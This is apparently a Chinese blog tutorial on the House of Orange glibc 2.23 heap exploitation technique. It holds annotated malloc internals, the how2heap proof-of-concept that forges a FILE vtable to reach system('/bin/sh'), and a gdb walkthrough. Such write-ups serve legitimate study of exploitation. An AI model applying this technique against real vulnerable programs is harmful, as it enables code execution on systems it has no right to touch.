House Of Orange

House Of Orange

House Of Orange 简介

该利用方式是最早的一种 IO 利用方式之一,适用条件为glibc 2.23,开启了堆与 IO 组合利用的先河。

当程序中没有free的情况下,利用溢出覆盖Topchunk,然后申请大于topchunk的堆块,这个时候就会把原来的topchunk放入unsorted bin,后续通过 **Unsorted Bin Attack + FSOP **进行攻击。

使用条件

  • 堆溢出(读写)

  • glibc2.23

    【重要版本提示】
    glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp(commit 91e7cf98)
    glibc 2.24 引入 _IO_FILE 虚表白名单机制,无法通过修改虚表为堆地址来进行攻击

原理分析

如简介中所说,House Of ORange 的第一步在于,程序中没有提供free的情况下,我们要得到一个进入unsorted bin 的chunk进行后续的泄露。我们来详细分析一个这个过程。对于主arena 和 非主arnea 的处理方式略有不同,我们这里仅讨论主 arena 的情况。

我们知道malloc函数底层会执行_int_malloc函数,在_int_malloc函数中,当我们申请内存的时候,他会依次扫描tcache(如果有的话)、fast bin 、unsorted bin、small bin、large bin 是否有符合要求的堆块,如果都没有,_int_malloc就会试图从**top chunk **中尝试分配,但如果 top chunk 的大小仍无法满足要求,就会执行如下分支

1
2
3
4
5
6
7
8
//av是指向mstate(memory state)的指针,nb是请求的大小
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

核心处理放在了sysmalloc函数,我们进一步分析

sysmalloc中,当我们申请的内存超过mmap阈值(默认是128K)且mmap申请的内存块数量未超过最大数量(默认为65536)的时候会使用mmap来分配内存(这部分不是重点,就不过多介绍了)

1
2
3
4
5
6
if (contiguous (av) && old_size && brk < old_end) {
// ...
} else if ((unsigned long) (size) < (unsigned long) (MMAP_AS_MORECORE_SIZE)) {
size = MMAP_AS_MORECORE_SIZE; // 默认 1MB
char *mbrk = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
}

sysmalloc函数中当申请的内存未达到mmap的阈值,会尝试通过brk来扩展内存,如果新分配的内存和原来的 top chunk 连续,就会扩展 top chunk ,相关处理如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else { /* av == main_arena */
size_t pagesize = GLRO(dl_pagesize);
...
/* 计算扩展大小 */
size = nb + mp_.top_pad + MINSIZE;
if (contiguous(av))
size -= old_size; // 如果堆连续,减去旧 top 的大小
size = ALIGN_UP(size, pagesize); // 对齐到页大小

brk = (char *) (MORECORE(size)); // 调用 sbrk 扩展堆

if (brk != (char *)(MORECORE_FAILURE)) {
...
/* 如果新内存与 old_top 相邻,直接合并 */
if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) {
set_head(old_top, (size + old_size) | PREV_INUSE); // 合并为新 top
} else {
...
}

倘若内存不连续,无法扩展,就会把原来的top chunk 通过调用_int_free函数放入 unsorted bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
....
/* 非连续内存处理 */
front_misalign = (INTERNAL_SIZE_T) chunk2mem(brk) & MALLOC_ALIGN_MASK;
if (front_misalign > 0) {
correction = MALLOC_ALIGNMENT - front_misalign;
aligned_brk += correction;
}
...
/* 插入围栏块 */
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
chunk_at_offset(old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;
chunk_at_offset(old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;

/* 如果 old_size >= MINSIZE,释放到 unsorted bin */
if (old_size >= MINSIZE) {
_int_free(av, old_top, 1); // 释放 old_top
}
...
}
}

我们的 top chunk 的大小是我们通过溢出等方法修改的,所以执行到sysmalloc的时候brk分配的内存必然和当前的top chunk 是不连续的,因此 top chunk 必然会被放入 unsorted bin 以便后续的泄露

获取libc之后,就可以开始进行 unsorted bin attack 了,我们通过 unsort bin attack 去劫持IO来进行 FSOP

FSOP的核心是劫持IO_FILE结构体。使之落在我们可控的内存上。这就意味着我们是可以控制vtable的,我们将vtable中的_IO_overflow函数地址改成system地址即可,而这个函数的第一个参数就是IO_FILE结构体的地址。如果我们让IO_FILE结构体中的flags成员为/bin/sh字符串,那么当执行exit函数或者libc执行abort流程时或者程序从main函数返回时触发了_IO_flush_all_lockp 即可 get shell

正常的IO链表结构是这样的

image-20250716224252590

我们布局之后的结构是这样的

image-20250717165306175

下面我们来看一下,我们成功布局需要绕过的一些检测

1
2
3
4
5
6
7
8
9
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

嗯……看着很晕……

其实就是分了两种情况,

情况1:普通文本模式下的刷新判断(ASCII流)

  • fp->_mode <= 0:表示 处于字节流模式,即不是宽字符流。
  • fp->_IO_write_ptr > fp->_IO_write_base
    • 表示写缓冲区中有 未刷新的数据
    • write_ptr 指向当前写入位置,write_base 是缓冲区起始地址。

表示这个 FILE 结构体的 写缓冲区有内容需要 flush

**情况2:**宽字符模式(wchar_t)下的刷新判断

这个条件只在:

  • 内部使用 glibc(定义了 _LIBC)或
  • 支持 wchar_t 流(定义了 _GLIBCPP_USE_WCHAR_T)时编译

才启用。

条件含义:

  • _IO_vtable_offset(fp) == 0:确保该 FILE 对象是标准的 libio 类型(不是用户扩展或替换的)。
  • fp->_mode > 0:表示是 宽字符流模式
  • fp->_wide_data->_IO_write_ptr > _IO_write_base
    • 宽字符缓冲区中也有 尚未写出的内容

一般来说,我们只需要镇定情况1就可以了,绕过方法非常简单。

值得注意的是

House Of Orange 的攻击链不一定会成功,原因很简单,aboet在调用_IO_flush_all_lockp的时候,会遍历 IO_FILE_plus 结构体链表,对每个 IO 流进行依次刷新,但是我们布局之后,破坏了 stderr 会导致刷新 stderr 的时候崩溃,所以只有当布局之后的假 stderr 不进行刷新的时候才能成功攻击。

第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的 ,这个值会因为libc地址随机而变动。(mode字段是四字节

实例分析

样例:how2heap中的 House of orange

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
House of Orange 攻击演示
利用堆溢出篡改 _IO_list_all 指针
需要泄漏堆地址和 libc 地址
原理参考:http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

// 模拟已知 system 函数地址的场景
int winner(char *ptr);
int main()
{
// 攻击前提:堆溢出可篡改 Top Chunk 元数据
// 初始堆空间完全属于 Top Chunk
// 每次分配会从 Top Chunk 分割内存,导致其逐渐缩小
char *p1, *p2;
size_t io_list_all, *top;

// 【重要版本提示】
// glibc 2.26 后 malloc_printerr 不再调用 _IO_flush_all_lockp(commit 91e7cf98)
// glibc 2.24 引入 _IO_FILE 虚表白名单机制,无法通过修改虚表为堆地址来进行攻击
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

// ┌───────────────────────┐
// │ 第一阶段:堆布局构造 │
// └───────────────────────┘
// 1. 初始分配 0x400-0x10 字节(模拟堆使用)
p1 = malloc(0x400 - 0x10);

// 2. 修改 Top Chunk 元数据
// 原始 Top Chunk 大小为 0x21000(页对齐要求)
// 分配后剩余 0x20C00 + PREV_INUSE 标志(0x20C01)
top = (size_t *)((char *)p1 + 0x400 - 0x10); // 定位到当前 Top Chunk
top[1] = 0xc01; // 设置新大小为 0xC00 + PREV_INUSE(满足页对齐要求)

// 3. 请求超大内存触发 sysmalloc
// 这会导致:
// - 旧堆空间与新申请的内存不连续
// - 旧 Top Chunk 被放入 unsorted bin
p2 = malloc(0x1000); // 请求 0x1000 > 0xC01 的内存

// ┌─────────────────────────────────┐
// │ 第二阶段:unsorted bin 劫持 │
// └─────────────────────────────────┘
// 4. 计算 _IO_list_all 地址
// 通过 free chunk 的 fd/bk 指针(指向 main_arena)定位
io_list_all = top[2] + 0x9a8; // main_arena 偏移计算

// 5. 构造 unsorted bin 链表
// 当 malloc 处理 unsorted bin 时:
// 会将 unsorted_bin->bk->fd 写入 _IO_list_all
// 因此设置:
top[3] = io_list_all - 0x10; // bk 指针指向 _IO_list_all-0x10

// ┌────────────────────────────────────┐
// │ 第三阶段:伪造 FILE 结构体 │
// └────────────────────────────────────┘
// 6. 填充 "/bin/sh" 字符串
memcpy((char *)top, "/bin/sh\x00", 8); // 作为 system 参数

// 7. 设置特殊 size 值触发异常
// 将 Top Chunk 改为 smallbin-4 的 size(0x61)
// 触发 malloc 在检查 size 时发现异常(size <= MINSIZE)
// 进而调用 abort -> _IO_flush_all_lockp
top[1] = 0x61;

// 8. 构造完整的 fake FILE 结构体
FILE *fp = (FILE *)top;
fp->_mode = 0; // _mode <= 0 满足条件
fp->_IO_write_base = (char *)2; // 写指针范围检查
fp->_IO_write_ptr = (char *)3;

// 9. 设置虚函数表跳转
size_t *jump_table = &top[12]; // 跳转表位置
jump_table[3] = (size_t)&winner; // _IO_OVERFLOW 指向 system
*(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table; // 绑定跳转表

// ┌──────────────────────────┐
// │ 触发漏洞执行系统命令 │
// └──────────────────────────┘
// 最终调用链:
// malloc -> malloc_printerr -> abort -> _IO_flush_all_lockp
// -> _IO_OVERFLOW(fp) -> winner("/bin/sh")
malloc(10); // 触发漏洞

return 0;
}

// 实际执行 shell 的函数
int winner(char *ptr)
{
system(ptr); // system("/bin/sh")
syscall(SYS_exit, 0);
return 0;
}

编译运行:gcc ./house_of_orange.c -O0 -g -no-pie -o a

我们来gdb动调分析一下这个程序

我们在 43 行下断点(也就是模拟修改 top chunk的部分)

这是修改前的 top chunk

image-20250719141215390

修改之后

image-20250719141304459

由 0x20C01 改为 0xC01,示例代码中也提到了,这个低三位的 C01 很关键,是为了绕过 top chunk 的对齐检查。(取地址的末三位 0x400 , 0x400 + 0xC00 = 0x1000满足对其要求)

继续运行到 malloc 的地方, p2 = malloc(0x1000);,当运行完之后,查看堆信息可以看到原先的 top chunk 已经成功被放入 unsorted bin 中了

image-20250719142409460

至此就完成了 libc 的泄露,下面我们来关注 Unsorted Bin Attack 这个过程

来到第 62 行代码, top[3] = io_list_all - 0x10; // bk 指针指向 _IO_list_all-0x10

image-20250719143234427

最后一步就是伪造 IO_FILE 的布局了。

_IO_list_all最终会指向 main_arena + 88,对应的 chian 就在 main_arena + 88 + 0x68 ,前面也提到过,这个位置对应的就是 small bin 中0x61 大小的那一条链 top[1] = 0x61;

且在调用虚表中的函数的时候,传入的参数就时对应的 IO 结构的指针,因此我们把前8字节填入 /bin/sh memcpy((char *)top, "/bin/sh\x00", 8);

后面就是调用overflow函数检测的绕过了,这个很简单。 FILE *fp = (FILE *)top; fp->_mode = 0; // _mode <= 0 满足条件 fp->_IO_write_base = (char *)2; // 写指针范围检查 fp->_IO_write_ptr = (char *)3;

最后执行malloc ,由于 unsorted bin 被破坏了,就会触发abort,从而刷新所有缓冲区,成功执行攻击。